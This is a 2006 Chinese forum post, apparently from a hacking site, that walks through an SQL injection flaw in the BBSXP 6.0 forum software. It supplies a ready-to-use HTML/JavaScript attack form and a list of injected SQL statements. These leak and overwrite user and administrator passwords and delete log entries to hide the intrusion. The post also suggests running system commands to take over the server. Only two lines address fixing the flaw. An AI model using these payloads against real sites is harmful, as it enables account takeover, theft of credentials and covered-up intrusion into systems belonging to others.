服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

dirtysea 发表于 2006-3-20 22:39:10

狙击 bbsxp 6.0 全版本

<SPAN style="FONT-SIZE: 14px; LINE-HEIGHT: 18px">&nbsp;<BR>
<P><STRONG>主题:狙击 bbsxp 6.0 全版本</STRONG><STRONG><BR></STRONG><BR>应用对象:BBSXP 6.0 SQL SP1  作者 怪狗&nbsp; <BR></P>
<P>现在我比较忙,闲的时候呢!看看书,发现bbsxp 6.0漏洞,感觉不错.写篇文章给新手参考!希望能从中学到东西.</P><BR>
<P><STRONG>首先,这个漏洞是一个注入点.说说漏洞是如何发现的.<BR>漏洞发现:</STRONG><BR>&nbsp;&nbsp;&nbsp; 打开源文件找到EditPost.asp的第67-72行,NewTopice.asp的第129-134行,ReTopic.asp的第78-83行会发现以下代码:</P><BR>
<P>&nbsp;&nbsp; if Request.Form("UpFlieID")&lt;&gt;"" then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UpFileID=split(Request.form("UpFileID"),",")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for i=0 to ubound(UpFileID)-1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conn.execute("update <BR>&nbsp;&nbsp; set ThreadID="&amp; ThreadID&amp;",Description='"&amp;Subject&amp;"' where<BR>&nbsp;&nbsp; id ="&amp;UpFileID(i)&amp; " and ThreadID =0")<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; next<BR>&nbsp;&nbsp;&nbsp;&nbsp; end if</P><BR>
<P><BR>其实这几行代码很简单,为了新手能看明白,我罗列了一些相关知识点:<BR>split函数的使用:<BR>For Example:<BR>  &lt;% <BR>   public namearray<BR>  &nbsp; qname="Wang;Zhang;Ning"<BR>   response.write qname &amp; "&lt;p&gt;&lt;br&gt;"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; namearray=split(qname,";") \'把qname字符串以分号分开,然后赋给一个数组<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; max=ubound(namearray)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for counter=0 to max-1<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write namearray(counter) &amp; "&lt;p&gt;&lt;br&gt;"<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; next<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; response.write "&lt;hr&gt;"<BR>  ?%&gt;</P><BR>
<P><BR>ubound 函数的使用:<BR>返回一个 Long 型数据,其值为指定的数组维可用的最大下标。</P><BR>
<P>语法<BR>UBound(arrayname[, dimension])<BR>UBound 函数的语法包含下面部分:<BR>部分 描述 <BR>arrayname 必需的。数组变量的名称,遵循标准变量命名约定。 <BR>dimension 可选的;Variant (Long)。指定返回哪一维的上界。1 表示第一维,2 表示第二维,如此等等。如果省略 dimension,就认为是 1</P><BR>
<P>。 </P><BR>
<P><BR>示例<BR>该示例使用 UBound 函数,确定数组的指定维的最大可用下标。</P><BR>
<P>Dim Upper<BR>Dim MyArray(1 To 10, 5 To 15, 10 To 20)&nbsp;&nbsp; '声明数组变量。<BR>Dim AnyArray(10)<BR>Upper = UBound(MyArray, 1)&nbsp;&nbsp; '返回 10。<BR>Upper = UBound(MyArray, 3)&nbsp;&nbsp; '返回 20。<BR>Upper = UBound(AnyArray)&nbsp;&nbsp; '返回 10</P><BR>
<P><BR>&nbsp;&nbsp;&nbsp; 我们可以看到在这段代码中没有对UpFileID数组内的数据作任何过滤就直接用在查询语句中了。我们以EditPost.asp这个页面为例来说明</P><BR>
<P>。这个页面的功能是编辑帖子的。我们可以随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一个脚本:<BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; &lt;form name ="dirtysera.com''form method ="post" onSubmit = "returnCheckForm(this);"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;input name ="content" type ="hidden" value ='123&amp;It;imgborder=0 src=UpFile/UpAttachment/20063125678.gif&gt;'&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;input name="UpFileID" type="hidden"&gt;<BR>&nbsp;&nbsp;&nbsp; 其中UpFileID是用来记录这个帖子中已经上传的文件路径的消息,并且用逗号分隔。</P><BR>
<P><STRONG>漏洞的利用:</STRONG><BR>&nbsp;&nbsp;&nbsp;&nbsp; 从代码上看,已经明白了由于upfileid 没有过滤,所以才有这个漏洞.UPfileID 是可以编辑贴子的时候.我们可以修改这个变量.<BR>从一般的注入漏洞的发现,基本步骤都,<BR>一,发现没过滤的变量.<BR>二,寻找变量的修改方法.<BR>如果有一个变量没有过滤,但是我们不能修改他,这就不能称为注入点.</P><BR>
<P>下面我们来寻找变量的修改方法!</P><BR>
<P>&nbsp;&nbsp;&nbsp; 在ASP代码中有一句话 for i =0 to ubound(UpFilID)-1,如果直接在页面中把UpFileID的值修改成一个注入查询语句<BR>&lt;inputname="UpFileID" type="hidden" value="' updateBBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'--&gt;,<BR>这样是不会被执行的,</P><BR>
<P>因为这样的话ubound(UpFleID)-1的值始终为0,而不会被循环。</P><BR>
<P>所以要使数组UpFileID的元素个数大于一才可以,<BR>因此要将这段脚本修改成类似于如下代码:</P><BR>
<P>&lt;input name="UpFileID" type="hidden" value="'update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'--,0"&gt;,</P><BR>
<P>我们用 , 号来分隔一下.就能满足for 循环.</P><BR>
<P><STRONG>攻击过程.<BR></STRONG>一,注册一个用户.登陆,注意:保存cookies<BR><IMG onmousewheel="return bbimg(this)" style="ZOOM: 70%" alt="" hspace=0 src="http://www.77169.com/Article/UploadFiles/200603/20060318125207782.gif" onload=&#106avascript:resizepic(this) border=0><BR>二,发一个贴子,</P><BR>
<P><IMG onmousewheel="return bbimg(this)" alt="" hspace=0 src="http://www.77169.com/Article/UploadFiles/200603/20060318125207763.gif" onload=&#106avascript:resizepic(this) border=0><BR>三,点编辑,记录几个值,ThreadID,PostID 这两个值.<BR>ThreadID=5&nbsp;&nbsp; PostID=5</P><BR>
<P><IMG onmousewheel="return bbimg(this)" alt="" hspace=0 src="http://www.77169.com/Article/UploadFiles/200603/20060318125207279.gif" onload=&#106avascript:resizepic(this) border=0></P><BR>
<P><IMG onmousewheel="return bbimg(this)" style="ZOOM: 90%" alt="" hspace=0 src="http://www.77169.com/Article/UploadFiles/200603/20060318125207635.gif" onload=&#106avascript:resizepic(this) border=0></P><BR>
<P>如果返回上图,就是修改成功了.<BR>现在就可以成功执行查询语句:<BR>update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'了,提交编辑完帖子之后查看dirtysea.com的个人资料发现Email已经</P><BR>
<P><IMG onmousewheel="return bbimg(this)" alt="" hspace=0 src="http://www.77169.com/Article/UploadFiles/200603/20060318125207468.gif" onload=&#106avascript:resizepic(this) border=0></P><BR>
<P>变成了16位的md5密文。这样只要有足够的权限我们就可以执行任意SQL语句了。</P><BR>
<P>四,用工具来改.</P><BR>
<P>admin密码改成我们的密码 123456<BR>我们用admin 密码 123456 不就可以登陆了吗?<BR>admin密码备份email里面</P><BR>
<P><IMG onmousewheel="return bbimg(this)" style="ZOOM: 50%" height=203 src="http://www.77169.com/Article/UploadFiles/200603/20060318130745442.gif" width=1006 onload=&#106avascript:resizepic(this) border=0></P><BR>
<P><SPAN style="FONT-SIZE: 14px; LINE-HEIGHT: 18px"></P><BR>
<P></P><BR>
<P>总结:<BR>我们上面的攻击过程主要是针对bbsxp sql sp1 版,因为sql版所以能执行那些查询.<BR>漏洞发现者说对access版也可以通用,不过我没有测试!<BR></P>
<P>整个攻击过程我没有提到sql权限这个问题.我个人认为如果sql版用上面这些办法攻击,不是最明智的手法.<BR>sql权限是SA&nbsp; 我们可以直接用这个点去运行系统命令,直接拿下服务器,<BR>sql权限是dbo 我们可以想办法备份差异asp 到本地,<BR>如何操作,我只提供了思路,篇幅有限不能一一举例.</P><BR>
<P>漏洞修补方法:<BR>1,我们给变量过滤一下,<BR>2,去官方下载补丁</P><BR>
<P>&nbsp;</P><BR>
<P>附,<BR>工具源程序.<BR>copy另存为 1.htm<BR>____________________________________________________<BR>&lt;form name="yuziform" method="post"&gt;<BR>&lt;input name="content" type="hidden" value='123'&gt;<BR>&lt;input name="UpFileID" type="hidden" value='0 and ThreadID=0 update bbsxp_users set usermail=userpass where </P><BR>
<P>username='dirtysea1'--,0'&gt;<BR>&lt;INPUT type="hidden" size=60 name=Subject value="123"&gt;<BR>&lt;table width="100%"&gt;<BR>&lt;tr&gt;<BR>&lt;td&gt;<A class=Channel_KeyLink href="http://bbs.77169.com/">论坛</A>地址&lt;/td&gt;<BR>&lt;td colspan=6&gt;<BR>&lt;table&nbsp; width="100%"&gt;<BR>&lt;tr&gt;<BR>&lt;td&gt;<BR>http://<BR>&lt;/td&gt;<BR>&lt;td width="100%"&gt;&lt;Input type=text style="width:100%" name="siteUri" value="192.168.1.75"&gt;<BR>&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/table&gt;<BR>&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td width=80&gt;ThreadID&lt;/td&gt;<BR>&lt;td width=55&gt;&lt;Input type=text style="width:50px" name="ThreadID" value="1"&gt;&lt;/td&gt;<BR>&lt;td width=80&gt;PostID&lt;/td&gt;<BR>&lt;td width=55&gt;&lt;Input type=text style="width:50px" name="PostID" value="1"&gt;&lt;/td&gt;<BR>&lt;td&gt;编辑帖子文件名&lt;/td&gt;<BR>&lt;td&gt;&lt;Input type=text style="width:100px" name="EditPostFileName" value="EditPost.asp"&gt;&lt;/td&gt;<BR>&lt;td&gt;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td width=80&gt;<BR>执行的SQL<BR>&lt;/td&gt;<BR>&lt;td colspan=6&gt;<BR>&lt;textarea style="width:100%;height=100" name="Sql"&gt;update bbsxp_users set usermail=userpass where </P><BR>
<P>username='dirtysea'&lt;/textarea&gt;<BR>&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;tr&gt;<BR>&lt;td colspan=5 align="center"&gt;<BR>&lt;INPUT type=button value='确定' name=EditSubmit &#111nclick="submitForm()"&gt;<BR>&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/table&gt;<BR>&lt;/FORM&gt;<BR>&lt;script&gt;<BR>function submitForm()<BR>{<BR>&nbsp;if(!checkData())<BR>&nbsp;{<BR>&nbsp;&nbsp;return;<BR>&nbsp;}<BR>&nbsp;var form=document.getElementById('yuziform');<BR>&nbsp;form.action=getActionUrl();<BR>&nbsp;document.getElementById('UpFileID').value=getUpFileID();<BR>&nbsp;form.submit();<BR>}<BR>//**********************************<BR>// 获取提交的地址<BR>//**********************************<BR>function getActionUrl()<BR>{<BR>&nbsp;var url="<A href="http://&quot;+document.getelementbyid('siteuri' target=_blank).value/">http://"+document.getElementById('siteUri').value</A>;<BR>&nbsp;if(url.substr(url.length-1)=='/'||url.substr(url.length-1)=='\\')<BR>&nbsp;{<BR>&nbsp;&nbsp;url=url.substr(0,url.length-1);<BR>&nbsp;}<BR>&nbsp;var threadId=0;<BR>&nbsp;try<BR>&nbsp;{<BR>&nbsp;&nbsp;threadId=parseInt(document.getElementById('ThreadID').value);<BR>&nbsp;}<BR>&nbsp;catch(e)<BR>&nbsp;{<BR>&nbsp;}<BR>&nbsp;var postId=0;<BR>&nbsp;try<BR>&nbsp;{<BR>&nbsp;&nbsp;postId=parseInt(document.getElementById('PostID').value);<BR>&nbsp;}<BR>&nbsp;catch(e)<BR>&nbsp;{<BR>&nbsp;}<BR>&nbsp;url+="/"+document.getElementById('EditPostFileName').value+"?ThreadID="+threadId+"&amp;PostID="+postId;<BR>&nbsp;return url;<BR>}</P><BR>
<P>function getUpFileID()<BR>{<BR>&nbsp;var str="0 and ThreadID=0 ";<BR>&nbsp;str+=document.getElementById('Sql').value;<BR>&nbsp;str+="--,0";<BR>&nbsp;return str;<BR>}</P><BR>
<P>function checkData()<BR>{<BR>&nbsp;var url=document.getElementById('siteUri').value;<BR>&nbsp;if(url=="")<BR>&nbsp;{<BR>&nbsp;&nbsp;alert('请填写<A class=Channel_KeyLink href="http://bbs.77169.com/">论坛</A>地址!');<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}<BR>&nbsp;var threadId=document.getElementById('ThreadID').value;<BR>&nbsp;if(threadId=="")<BR>&nbsp;{<BR>&nbsp;&nbsp;alert('请填写ThreadID!');<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}<BR>&nbsp;try<BR>&nbsp;{<BR>&nbsp;&nbsp;threadId=parseInt(threadId);<BR>&nbsp;}<BR>&nbsp;catch(e)<BR>&nbsp;{<BR>&nbsp;&nbsp;alert('ThreadID必须为数字!');<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}<BR>&nbsp;var postId=document.getElementById('PostID').value;<BR>&nbsp;if(postId=="")<BR>&nbsp;{<BR>&nbsp;&nbsp;alert('请填写PostID!');<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}<BR>&nbsp;try<BR>&nbsp;{<BR>&nbsp;&nbsp;postId=parseInt(postId);<BR>&nbsp;}<BR>&nbsp;catch(e)<BR>&nbsp;{<BR>&nbsp;&nbsp;alert('PostID必须为数字!');<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}<BR>&nbsp;if(document.getElementById('Sql').value=="")<BR>&nbsp;{<BR>&nbsp;&nbsp;alert('请填写执行的SQL!');<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}<BR>&nbsp;if(document.getElementById('EditPostFileName').value=="")<BR>&nbsp;{<BR>&nbsp;&nbsp;alert('请填写编辑帖子文件名!');<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}<BR>&nbsp;if(document.getElementById('Sql').value.indexOf(',')&gt;=0)<BR>&nbsp;{<BR>&nbsp;&nbsp;alert('执行的SQL中不能包含逗号!');<BR>&nbsp;&nbsp;return false;<BR>&nbsp;}<BR>&nbsp;return true;<BR>}<BR>&lt;/script&gt;<BR>__________________________________________________________________<BR>攻击语句:<BR>--------------------------------------------<BR>在EditPost.asp和NewTopic.asp, ReTopic.asp中都存在这个漏洞<BR>--备份dirtysea.com的密码到电子邮件中<BR>update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'<BR>--备份后台管理密码到dirtysea.com的个人主页中<BR>update BBSXP_Users set UserHome=(select top 1 AdminPassword from BBSXP_SiteSettings) where UserName='dirtysea.com'<BR>--修改admin的前台密码为dirtysea<BR>update BBSXP_Users set UserPass='59A9B22627515262CF6D95E8F968A608' where UserName='dirtysea'<BR>--修改后台管理密码为dirtysea<BR>update BBSXP_SiteSettings set AdminPassword='59A9B22627515262CF6D95E8F968A608'<BR>delete from BBSXP_Log where UserName='dirtysea' and cast(DateCreated as nvarchar(10))=cast(getdate() as nvarchar(10))<BR>--恢复后台管理密码<BR>update BBSXP_SiteSettings set AdminPassword=(select UserHome from BBSXP_Users where UserName='dirtysea')<BR>--恢复dirtysea.com的密码<BR>update BBSXP_Users set UserPass=UserMail where UserName='dirtysea.com'<BR>--清除dirtysea.com的电子邮件和个人主页数据<BR>update BBSXP_Users set UserMail='' where UserName='dirtysea.com'<BR>update BBSXP_Users set UserHome='' where UserName='dirtysea.com'<BR></P></SPAN></SPAN>

zrg1130 发表于 2006-2-2 09:24:56

re:狙击 bbsxp 6.0 全版本

<P>这是什么呀</P>
<P>是马吗???</P>
页: [1]
查看完整版本: 狙击 bbsxp 6.0 全版本